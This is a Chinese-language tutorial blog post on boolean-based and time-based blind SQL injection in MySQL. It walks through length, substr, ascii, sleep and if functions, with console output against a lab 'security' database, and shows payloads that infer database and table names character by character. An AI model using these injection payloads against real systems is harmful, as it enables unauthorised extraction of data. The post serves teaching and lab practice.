美文网首页
盲注-布尔和时间

盲注-布尔和时间

作者: Yix1a | 来源:发表于2019-05-12 17:27 被阅读0次
  • 布尔盲注

盲注简介:
盲注是注入的一种,它的意思是不知道数据库具体的返回值的情况下对数据库中的内容进行猜解,实施SQL注入。一般分为 基于 布尔 和 基于 时间 类型的盲注。


基于布尔的盲注:
Web页面的返回值只有两种, True 和 False , 所以我们只能通过测试输入的注入语句为 Ture 或 False 来判断注入的效果 , 并通过这两种可能一步步得出数据库的信息

关键函数:

length()  :   返回字符串的长度

substr()  :   截取字符串

ascii()   :   返回字符的ascii码

SQL 语句构造:

select length(database()) 

说明:返回  当前数据库名  的长度



select substr(database(),1,1)

说明:截取 当前数据库名 字符串 的第一个位置上开始第1个字符

select substr(database(),2,1)

说明:截取 当前数据库名 字符串 的第二个位置上开始的1个字符

select substr(database(),2,2)

说明:截取 当前数据库名 字符串 的第二个位置开始的2个字符



select ascii(substr(database(),1,1))

说明:返回 substr 在 当前数据库名 字符串中所截得 第一个字符 的 ascii 码,ascii函数只能返回一个值

下面看看各个函数的效果:

当前数据库是 security:

select length(database());

效果如下:

mysql> select length(database());
+--------------------+
| length(database()) |
+--------------------+
| 8 |
+--------------------+
1 row in set (0.00 sec)

select substr(database(),1,1);

效果如下:

mysql> select substr(database(),1,1);
+------------------------+
| substr(database(),1,1) |
+------------------------+
| s |
+------------------------+
1 row in set (0.00 sec)

可以看见:当前数据库 security 第一个 字符就是 s

mysql> select substr(database(),1,8);
+------------------------+
| substr(database(),1,8) |
+------------------------+
| security |
+------------------------+
1 row in set (0.00 sec)

说明:从第一个位置开始,截取8个字符的长度,并且显示出来

select ascii(substr(dabatase(),1,1);

效果如下:

mysql> select ascii(substr(database(),1,1));
+-------------------------------+
| ascii(substr(database(),1,1)) |
+-------------------------------+
| 115 |
+-------------------------------+
1 row in set (0.00 sec)

s 的ascii 码 就是 115

如果用 : select ascii(substr(database(),1,8)); ??? 会返回所有字符的ASCII码吗?

效果如下:

mysql> select ascii(substr(database(),1,8));
+-------------------------------+
| ascii(substr(database(),1,8)) |
+-------------------------------+
| 115 |
+-------------------------------+
1 row in set (0.00 sec)

事实证明:并不会,说明 ascii 函数只能返回第一个字符的ascii码

那么,如果我们不知道 当前数据库名 是 security ,用上面 ascii substr length 函数如何猜测出 当前数据库名呢?

这样构造语句:

select ascii(substr(database(),1,1))=100;

说明:这个 当前数据库 字符串 的第一个字符 的 ascii 码 是 100 吗?

如果是,返回就为1(True),如果不是,返回就为0(False)

效果如下:

mysql> select ascii(substr(database(),1,1))=100;
+-----------------------------------+
| ascii(substr(database(),1,1))=100 |
+-----------------------------------+
| 0 |
+-----------------------------------+
1 row in set (0.00 sec)

mysql> select ascii(substr(database(),1,1))=115;
+-----------------------------------+
| ascii(substr(database(),1,1))=115 |
+-----------------------------------+
| 1 |
+-----------------------------------+
1 row in set (0.00 sec)

说明:看说明当前数据的第一个字符的ascii码是115,查一下115,就是 s

这样一个 = 一个 = 的判断 很麻烦

构造语句:

select ascii(substr(database(),1,1)) > 100;

说明:第一个字符 > 100 吗?

效果如下:

mysql> select ascii(substr(database(),1,1)) > 100;
+-------------------------------------+
| ascii(substr(database(),1,1)) > 100 |
+-------------------------------------+
| 1 |
+-------------------------------------+
1 row in set (0.00 sec)

说明:第一个字符的ascii就是大于 100 的

这样灵活使用 > 和 < ,可以很快把一个字符限定在一个很小的范围内

这个时候使用 二分法 判断 最快

  • 时间盲注

概念:

盲注是注入的一种,他的意思是在不知道数据库具体的返回值的情况下对数据库中的内容进行猜解,实施SQL注入,一般分为基于布尔和基于时间类型的盲注。

基于时间的盲注:

***  Web页面的返回值只有一种,True。  ***

***  无论我们输入任何值,它的返回情况都会按正确的处理。无法通过返回页面正确或是错误来推断信息  ***

加入特定的时间函数,通过查看是web页面返回的时间来判断注入的语句是否正确,以此得出数据库的信息。

关键函数:

sleep(n) :  执行将程序(进程)挂起一段时间


if(expr1,expr2,expr3) :  判断语句,当第一个参数正确时,执行第二个参数,

否则执行第三个参数

将这两个函数在sql后台中试验试验:

就把程序挂起 2 秒钟:

select sleep(2)

效果如下:

mysql> select sleep(2);
+----------+
| sleep(2) |
+----------+
| 0 |
+----------+
1 row in set (2.02 sec)

使用if语句:

select if(database()='security',1,2);

说明:当 当前数据库名是 security 的时候 输出 1 ,否则输出 2 

效果如下:

mysql> select if(database()='security',1,2);
+-------------------------------+
| if(database()='security',1,2) |
+-------------------------------+
| 1 |
+-------------------------------+
1 row in set (0.03 sec)

又返回结果说明:当前数据库名就是 security

可以将 sleep 函数和 if 语句结合起来

构造语句:

select if(ascii(substr(database(),1,1))>110,sleep(3),NULL);

这个参数1 (expr1) 可以是很复杂的语句,

如: (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1 ),1,1)) > 100 )

然后放入 原 database() 位置

select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1 ),1,1)) > 100,sleep(2),NULL)name;

说明: 如果 当前数据库中的 第一张表 的 表名 的第一个 字符 的 ascii 码 是大于 100的话,那么 挂起程序 2秒钟 然后输出,否则 什么也不做,另外,给这个返回表取了个别名:name。

效果如下:

mysql> select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1 )) > 100,sleep(2),NULL)name;
+------+
| name |
+------+
| 0 |
+------+
1 row in set (2.00 sec)

说明这个 第一张表的 第一个字母 的 ascii 码 确实是 大于 100 的

mysql> select if(ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1 )) > 120,sleep(2),NULL)name;
+------+
| name |
+------+
| NULL |
+------+
1 row in set (0.00 sec)

相关文章

  • 盲注-布尔和时间

    布尔盲注 盲注简介:盲注是注入的一种,它的意思是不知道数据库具体的返回值的情况下对数据库中的内容进行猜解,实施SQ...

  • 盲注

    盲注:1.基于布尔的SQL盲注。 2.基于时间的SQL盲注。 3.基于报错的SQL盲注。 布尔SQL盲注:逻辑判断...

  • Kali Linux系统利用DVWA靶场进测试SQL注入漏洞:

    手工盲注: 手工盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,手工盲注步骤:1.判断是否存在注入,注入...

  • 布尔盲注&&时间盲注

    条件:返回正确或者错误页面 time-based

  • SQL注入靶场—盲注Rank1-2

    当存在注入点,但服务器没有返回sql执行后的结果回显,就可以使用盲注,盲注分为布尔注入和时间注入。 布尔注入涉及的...

  • SQL基于时间的盲注过程

    0x00 前言 由于要使用到基于时间的盲注,但是我觉得基于时间的盲注其实就是基于布尔的盲注的升级版,所以我想顺便把...

  • SQLMAP自动注入(一):sqlmap的简单使用和配合burp

    python编写,开源 检测方式 基于布尔的盲注检测 基于时间的盲注检测 基于错误的检测 基于union的检测 基...

  • Oracle手工盲注小结

    布尔盲注: 利用substr函数截取字符进行盲注: 猜测用户名: 通过substr、ascii函数进行盲注:注意:...

  • 一步一步学习 Web 安全 2.7 时间盲注

    原理 时间盲注和上一节的布尔盲注其实差不多,只是还多了一个场景:当无论什么情况下都显示一样的页面的时候可以用时间盲...

  • 01.sqlmap

    1. sqlmap支持五种不同的注入模式: 基于布尔的盲注; 基于时间的盲注; 基于报错注入; 联合查询注入,un...

网友评论

      本文标题:盲注-布尔和时间

      本文链接:https://www.haomeiwen.com/subject/veccaqtx.html